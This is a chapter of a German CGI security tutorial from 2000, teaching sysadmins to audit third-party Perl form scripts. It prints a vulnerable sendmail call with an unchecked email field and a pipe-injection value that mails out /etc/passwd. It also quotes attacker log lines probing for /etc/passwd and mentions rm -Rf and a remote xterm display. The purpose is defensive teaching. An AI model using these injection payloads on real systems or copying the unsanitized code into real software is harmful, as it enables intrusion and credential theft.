xwolf.de|com

Menü

Inhalt dieser Site

Ansicht

Individuelle Benutzerkonfiguration für die Site.

Druckansicht Startseite Suchen

A A A A

CGI Security / Sichere CGI-Skripten - Eine Einführung

Wolfgang Wiese (www.xwolf.de, xwolf@xwolf.de), April 2000

[1. Allgemeines] [2. Klassifikation von CGI-Programmen] [3. Analyse fremder Programme] [4. Analyse lokaler Programme] [5. Referenzen]

Analyse fremder Programme

Um sicher programmieren zu können, muß man wissen, was unsicher ist und was nicht, und man sollte mindestens halbwegs eine Ahnung haben, wie jemand versuchen könnte, das Skript auszutricksen und für die eigenen Zwecke zu mißbrauchen.
Anstelle jetzt die üblichen Phrasen zu zitieren, wie man programmieren sollte und was zu beachten ist, gehen wir das Problem von der anderen Richtung her an: Wie stelle ich Sicherheitslücken in einem CGI-Programm fest?
Im Folgendem werd ich anhand dieses Ansatzes und von Beispielen beschreiben, wie vorzugehen ist. Ich möchte aber betonen, das dies keine Anleitung zum Hacken sein soll. Vielmehr ist es so, daß niemand sich wirklich Systemadministrator oder Webmaster nennen sollte, der/die nicht diese grundsätzlichen und einfachen Möglichkeiten kennt und entsprechend berücksichtigt.
Gehen Sie immer von dem Grundsatz aus, daß wenn es Lücken im Sicherheitskonzept gibt, diese früher oder später auch gefunden werden. Als SysAdmin haben Sie deswegen nur 2 Möglichkeiten: Entweder Sie beseitigen alle Sicherheitslücken, inklusive derer, die Sie noch garnicht kennen, oder Sie hacken Ihr eigenes Skript bevor es jemand anders tut.

Oberflächlicher Check

Als SysAdmin eines Hosts mit mehreren Benutzern kann man nicht immer wissen, was diese gerade mal wieder programmiert haben und wo sie es ggf. hingetan haben. Wenn einer der Benutzer oder ein Seitenbesucher ein Problem hat, dann wird in der Regel nur die URL als Info gegeben. Bevor man also dran geht und lokal ins Skript reinschaut, kann man schonmal ueber die URL schauen, was los ist.
Angenommen auf der betreffenden Seite findet sich ein Formular mit folgendem HTML-Code:


...
<form method=post action=xxxxmail.cgi>
	E-Mail: <input type=text name=email><br>
	Name: <input type=text name=name><br>
	Telefon: <input type=text name=telefon><br>
	Kommentar: <input type=text name=kommentar><br>
	<input type=submit name=submit value=Ok>
</form>
...

Durch den Kontext des Formulares erfahren wir außerdem, daß der Autor der Webseite hier eine Feedback-Seite aufgebaut hat und einfach um ein kurzes einzeiliges Kommentar bittet.
Ohne das wir erst versuchen uns das Skript zu besorgen und zu wissen was es macht, sehen wir, das in den Eingabefeldern email und telefon erwartet wird, daß dort zum einen eine gültige E-Mail-Adresse, zum anderen eine gültige Telefonnummer mit den entsprechenden Syntaxi eingegeben wird.
Bei name und kommentar wird lediglich ein String erwartet, der sieht man vom Namen ab, eine beliebige Syntax haben könnte. Da nicht zu erwarten ist, daß jemand bei einem einfachen Feedback-Kommentar Namen und Kommentar nutzt um irgentwelche Operationen auszuführen, ignorieren wir diese Felder erstmal.
Weiterhin ist anzunehmen, daß das Skript richtig funktioniert, wenn es nur Werte bekam, wie sie vom Programmierer erwartet wurden. (Wenn dem nicht so ist, ist das Skript einfach falsch und unsere Aufgabe als SysAdmin besteht darin, daß Programm zu sperren und den Programmierer zurück zur Werkbank zu schicken.)
Nachdem wir das Skript einmal mit richtigen Werten getestet haben, sehen wir, daß das Skript uns eine E-Mail zusendete, worin sich für den Feedback bedankt wurde.
Was haben wir erfahren? -Das das Skript zumindest die von uns eingegebene E-Mail-Adresse benutzte um damit eine Systemoperation zu starten!

Eine gültige E-Mail sieht aus wie eines der folgenden Beispiele:

bla@fasel.fu,
bla.fasel@blubber.de,
fo@bar.fasel.fu,
bla.fasel@bar.fasel.fu, ...

Eine E-Mail-Adresse kann aus den Zeichen [a-zA-Z0-9\.\-\@] aufgebaut sein und muß einen gültigen Servernamen hinter dem @ aufweisen. Mehrere Punkte oder Bindestriche dürfen nicht aufeinander folgen und das @ darf nur einmal vorkommen. (Siehe auch: RFC821)
Das obige Programm wird im schlechtesten Fall die E-Mail-Adresse überhaupt nicht auf ihre Syntax überprüfen. Aber nehmen wir ruhig an, der Programmierer hat folgenden in Perl häufig verwendeten Ausdruck zur Syntaxprüfung eingebaut:

...
if ($email !~ m/.*\@.*\..*/i) {
  print "Content-type: text/html\n\n"
  print "Die E-Mail-Adresse hatte eine falsche Syntax.\n";
  exit;
}
...

Hier, wie bei den meisten Formmail-Programmen, wird aber nur geprüft, ob in dem als E-Mail-Adresse übergebenen String auch vom Format her eine solche vorhanden ist. Es wird nicht geprüft, ob dort nicht Sachen drin sind, die da nichts zu suchen habe.
Was passiert also wenn wir z.B. folgendes als E-Mail-Adresse angeben:

nospam@fasel.com| mail bla@fasel.com < /etc/passwd
Die obige Syntaxprüfung würde feststellen, daß im String eine gültige E-Mailadresse auftaucht und danach dann die Dankesmail schicken. Nur: Wenn der Programmierer keinen weiteren Schutz eingebaut hat, der Code also folgendermaßen ausschaut

...
if ($email !~ m/.*\@.*\..*/i) {
   print "Content-type: text/html\n\n"
   print "Die E-Mail-Adresse hatte eine falsche Syntax.\n";
   exit;
}
open(MAIL,"/usr/sbin/sendmail $email");
print MAIL "From: anfaenger\@dumpfbacke.org\n";
...

dann passiert folgendes: Das Skript wird zuerst die nette Dankesmail schicken und dann das Systemkommando ausführen, welches wir mitgegeben haben, nämlich uns die Passwort-Datei schicken. Natürlich ist dies noch ein harmloses Beispiel, auch wenn es meiner Meinung nach schon den Straftatbestand der Erschleichung von fremden Daten erfüllt (Paragraph 202a StGB). Weit kritischer wird es, wenn jemand Systemkommandos wie rm -Rf oder /usr/bin/term -display irgentwo:0.0 ausführen kann. In diesem Fall können und sollen die Paragraphen 303a StGB (Datenveränderung) und/oder Paragraph 303b StGB (Computersabotage) greifen.

Glauben Sie nicht, niemand würde über diese oder andere bekannte Sicherheitslücken versuchen auf Ihr System zuzugreifen! Überzeugen Sie sich selbst, indem Sie ein grep zum Beispiel nach dem String /etc/passwd auf Ihre access.log-Datei machen. Hier ein kleiner Auszug, was Sie möglicherweise auch bei sich finden werden:

62.158.247.*** - - [18/Mar/2000:17:09:04 +0100] "GET //etc/passwd HTTP/1.0" 404 164 "-"
62.158.247.***- - [18/Mar/2000:17:09:27 +0100] "GET ../../../../../../etc/passwd HTTP/1.0" 400 164 "-" "-"
...
62.158.181.*** - - [17/Apr/2000:03:02:36 +0200] "GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60 HTTP/1.0" 404 169 "-" 
...
62.156.17.*** - - [24/Apr/2000:15:48:16 +0200] "GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60 HTTP/1.1" 404 181 "-" 
...
62.157.56.*** - - [25/Apr/2000:15:39:51 +0200] "GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60 HTTP/1.1" 404 181 "-"
...

(Bei dem von mir betreuten Server bewirkt übrigens jeder Versuch dieser Art eine sofortige automatische Mail an den Sicherheitsverantwortlichen. Nebenbei waren obige Versuche das rumspielen von Skript-Kiddies, die nichtmal in der Lage waren, ihre Dialins zu maskieren. Bei einem schlechtgelaunten Sicherheitsverantwortlichen hätten diese Versuche zu einer Anzeige geführt und dies wiederum zu einer Beschlagnahme des PC's durch die Polizei zur Untersuchung der Festplatte...)

Torture-Skripten

Eine andere, wenn auch etwas brutale, Methode unsichere Parameter herauszubekommen, ist der Einsatz eines Torture-Skriptes. Dabei handelt es sich um ein Skript, das dem zu prüfenden Programm mehrere Hundert Anfragen mit unterschiedlichen zufällig erzeugten Strings übergibt und die Reaktion des Programmes speichert.

In seinem Buch "Web Security" gibt Lincoln Stein ein Beispiel wie ein Torture-Skript aussehen kann. Im Prinzip ist die Erstellung eines solchen Skriptes für einen guten Perlprogrammierer eine Sache von wenigen Minuten. Und anstelle das man wie bei Stein das Skript mit rein zufälligen Strings traktiert, wäre es auch nicht sonderlich schwer, das Skript so zu modifizieren, daß es ausgewählte Parameter benutzt, die dann nur Zufallsstrings aus einer bestimmten Familie an Zeichenkombinationen ergeben.
So würde man bei obigem Skript angeben, das die Parameter name, email, kommentar, telefonnummer nutzbar sind, wobei der Parameter email vom Typ einer E-Mail ist und telefon vom Typ einer Zahl, zzgl. den Zeichen "+", "-" und "/".
Das Skript würde dann gezielt versuchen, die ihm nun bekannten Daten zu nutzen und die üblichen Sicherheitsprobleme auszuspielen, es würde nicht seine Zeit mit dem Senden von zufääligen Strings vom Typ [a-zA-z0-9] verschwenden bei einem Parameter, wo klar ist, daß dort der Teststring als E-Mail-Adresse getarnt werden muß.



Bisher waren wir nur beim Analysieren ohne das wir wirklich den Programmcode gesehen haben. Wenn wir der SysAdmin sind, sollte es auch keine Probleme machen, wenn wir die obigen Beispiele durchtesten um zu sehen, ob wir wirklich Zugriff zum System erhalten. Sind wir jedoch nicht der SysAdmin des betroffenen Systems sollten wir das Testen entweder ganz unlassen, wurden wir nicht dazu aufgefordert, oder nur so vorgehen, daß der Fehler aufgedeckt wird, ohne das wir einen Schaden anrichten.
Im folgenden Kapitel werden wir versuchen, Informationen über das bisher unbekannte Skript über das Netz zu erhalten.

Informationen aus dem Netz holen

Programmierer sind faule Menschen. Wenn es keinen -für den Programmierer!- guten Grund gibt, wird er/sie in der Regel kein Programm neu schreiben, welches es schon gibt. Scott Adams, der Autor von Dilbert drückt es seiner kurzgefassten Evolutionstheorie so aus:

We're a planet of nearly six billion ninnies living in a civilization that was designed by a few thousand amazingly smart deviants.

Nicht anders läßt es sich erklären, daß die meisten CGI-Skripten kostenlose Kopien sind, die man aus irgenteinem Archiv heruntergeladen hat.

Wenn man nach Informationen zu einem CGI-Skript sucht, dann gibt es mehrere Möglichkeiten. Zum einen kann man die besagten Archive, wie z.B. The CGI-Resource Archiv durchsuchen. Zum anderen tut es auch eine normale Suchmaschine, jedoch hat dies meist den Nachteil, daß man dort oft nur von Links zu anderen Seiten, die das CGI auch einsetzen, erschlagen wird, jedoch den Download-Link leicht übersieht. Eine andere gute Quelle betreffend Sicherheitsprobleme bzgl. CGI-Skripten sind diverse Security-Listen, wie z.B. BugTraq.
Für das oben angegebene Skript, dessen Namen wir aus dem Wert von <form action=""> erhielten, findet sich dann auch über The CGI-Resource Archiv ein entsprechender Eintrag der zum Autor und zu einem Download des Skriptes führt.
Wenn wir zudem auch noch Informationen über die Unsicherheit des Skripten finden, dann sind wir als SysAdmins aus dem Schneider: Wir brauchen selbst nichts mehr zu machen (außer ggf. die Versionsnummer zu kontrollieren) als das Skript zu löschen und denjenigen der es auf dem Server installierte den Kopf abzureißen...
(Anmerkung: Sollte es Ihr Vorgesetzter oder Ihr Ehepartner gewesen sein, überlegen Sie sich was anderes!)

Finden sich keine Hinweise bzgl. der Sicherheit, sondern nur das Skript, dann sollten Sie es sich ggf. nun laden und dann lokal analysieren, indem Sie sich den Code anschauen. In dem folgenden Kapitel 4 gehen wir darauf genauer ein.


[1. Allgemeines] [2. Klassifikation von CGI-Programmen] [3. Analyse fremder Programme] [4. Analyse lokaler Programme] [5. Referenzen]
Punkte: 3 (befriedigend), Stimmen: 15 Abstimmen:

Info

$Id: cgisec3.shtml,v 1.4 2004/03/08 22:09:09 xwolf Exp $
© 1996 - 2004 by xwolf - xwolf ist eingetragene Marke beim Deutschen Patent- und Markenamt (Nr. 301 04 380)